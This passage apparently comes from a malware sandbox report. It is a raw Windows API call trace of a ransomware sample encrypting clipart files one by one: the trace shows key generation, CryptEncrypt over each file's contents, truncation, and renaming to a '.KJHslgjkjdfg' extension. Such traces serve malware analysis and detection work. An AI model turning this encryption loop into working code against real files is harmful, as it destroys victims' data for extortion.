hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.532] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.532] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.532] GetProcessHeap () returned 0x2ef0000 [0198.532] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.532] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.532] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.532] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.532] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.532] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.532] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.532] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.532] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.532] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.532] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1714, lpOverlapped=0x0) returned 1 [0198.533] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1720, dwBufLen=0x1720 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1720) returned 1 [0198.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.533] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1720, lpOverlapped=0x0) returned 1 [0198.533] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.533] SetEndOfFile (hFile=0x130) returned 1 [0198.536] GetProcessHeap () returned 0x2ef0000 [0198.536] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.536] GetProcessHeap () returned 0x2ef0000 [0198.536] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.kjhslgjkjdfg")) returned 1 [0198.537] CloseHandle (hObject=0x130) returned 1 [0198.537] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0198.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.538] GetProcessHeap () returned 0x2ef0000 [0198.538] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.538] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.538] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.542] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.542] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.542] GetProcessHeap () returned 0x2ef0000 [0198.542] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.542] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.542] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.542] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.543] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.543] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.543] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.543] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.543] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.543] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.543] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.543] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.543] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5c2c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5c2c, lpOverlapped=0x0) returned 1 [0198.544] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c30, dwBufLen=0x5c30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c30) returned 1 [0198.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.544] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5c30, lpOverlapped=0x0) returned 1 [0198.545] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.545] SetEndOfFile (hFile=0x130) returned 1 [0198.546] GetProcessHeap () returned 0x2ef0000 [0198.546] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.546] GetProcessHeap () returned 0x2ef0000 [0198.546] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.kjhslgjkjdfg")) returned 1 [0198.547] CloseHandle (hObject=0x130) returned 1 [0198.547] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0198.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.547] GetProcessHeap () returned 0x2ef0000 [0198.547] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.547] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.547] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.550] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.550] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.550] GetProcessHeap () returned 0x2ef0000 [0198.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.550] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.550] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.550] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.551] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.551] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.551] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.551] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.551] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.551] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.551] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1434, lpOverlapped=0x0) returned 1 [0198.552] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1440, dwBufLen=0x1440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1440) returned 1 [0198.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.552] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1440, lpOverlapped=0x0) returned 1 [0198.553] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.553] SetEndOfFile (hFile=0x130) returned 1 [0198.555] GetProcessHeap () returned 0x2ef0000 [0198.555] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.555] GetProcessHeap () returned 0x2ef0000 [0198.555] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.556] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.kjhslgjkjdfg")) returned 1 [0198.557] CloseHandle (hObject=0x130) returned 1 [0198.557] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0198.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.558] GetProcessHeap () returned 0x2ef0000 [0198.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.558] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.558] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.558] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.558] GetProcessHeap () returned 0x2ef0000 [0198.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.559] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.559] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.559] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.593] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.593] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.593] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.593] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.593] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.593] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.593] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1600, lpOverlapped=0x0) returned 1 [0198.595] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600, dwBufLen=0x1600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600) returned 1 [0198.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.595] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1600, lpOverlapped=0x0) returned 1 [0198.595] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.595] SetEndOfFile (hFile=0x130) returned 1 [0198.598] GetProcessHeap () returned 0x2ef0000 [0198.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.598] GetProcessHeap () returned 0x2ef0000 [0198.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.kjhslgjkjdfg")) returned 1 [0198.600] CloseHandle (hObject=0x130) returned 1 [0198.600] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0198.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.601] GetProcessHeap () returned 0x2ef0000 [0198.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.601] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.601] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.604] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.604] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.604] GetProcessHeap () returned 0x2ef0000 [0198.604] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.604] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.604] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.604] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.604] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, 